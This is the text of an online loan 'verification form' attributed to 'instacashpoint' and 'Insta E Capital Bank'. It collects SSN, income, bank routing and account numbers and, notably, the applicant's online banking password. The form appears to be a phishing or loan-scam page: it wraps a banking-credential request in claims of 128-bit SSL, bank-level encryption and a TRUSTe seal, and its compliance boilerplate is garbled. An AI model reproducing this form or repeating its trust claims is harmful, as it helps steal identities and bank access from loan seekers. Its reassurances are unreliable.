VERIFICATION FORM

Personal Details

First
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Middle
Last
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Please enter your full legal first name.

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City
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State

We need your address to send you important documents.

We'll only use your phone number to contact you about your application.

We use your SSN to verify your identity and run background checks.

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Your salary, retirement pay, or part time jobs count.

This helps us understand your income more fully.

Loan Details

Please enter your valid approval code.

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Please enter the amount of plan.

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Bank Details

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Your safety is our priority, in fact we've been awarded TRUSTe's Privacy Seal for data transparency and accountability.

We know that your information is personal, so we use bank level encryption at all times.

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Please enter the routing number provided by your financial institution.

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Please enter the account number provided by your financial institution.

Mobile/Online Banking Details

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We use 128-bit SSL protection and strict, high levels of security & encryption standards to keep your information safe. NOTE: THIS FIELD IS CASE SENSITIVE

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Password

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Confirm Password

We use 128-bit SSL protection and strict, high levels of security & encryption standards to keep your information safe. NOTE: THIS FIELD IS CASE SENSITIVE

IMPORTANT INFORMATION ABOUT PROCEDURES FOR VERIFYING/OPENING NEW ACCOUNT.

*To help the government fight the funding of terrorism and money laundering activities. Federal laws require all financial institutions to obtain, verify and record information that identifies each information that identifies each person who open an account.

*What this mean for you. When you verify or open an account. We will ask for your name address, date of birthday and other information that will allow us to identify you. We may also ask to see your driver license or other identifying documents.

*Your loan APR will depend upon your credit score and other key financial characteristics including but not limited to the amount financed, loan term length and your credit usage history.

*All legal documents and disclosure must be signed by each applicant individually.

Terms & Conditions

Online Privacy Policy This Online Privacy Policy applies to all online and offline interactions with Insta E Capital Bank, National Association and instacashpoint Corporation or any of their subsidiaries, as may be applicable (collectively "instacashpoint.com" "we," "us," "our") as more specifically noted below and our practices relating to the personal information we collect from you. This Online Privacy Policy is effective as of February 1, 2025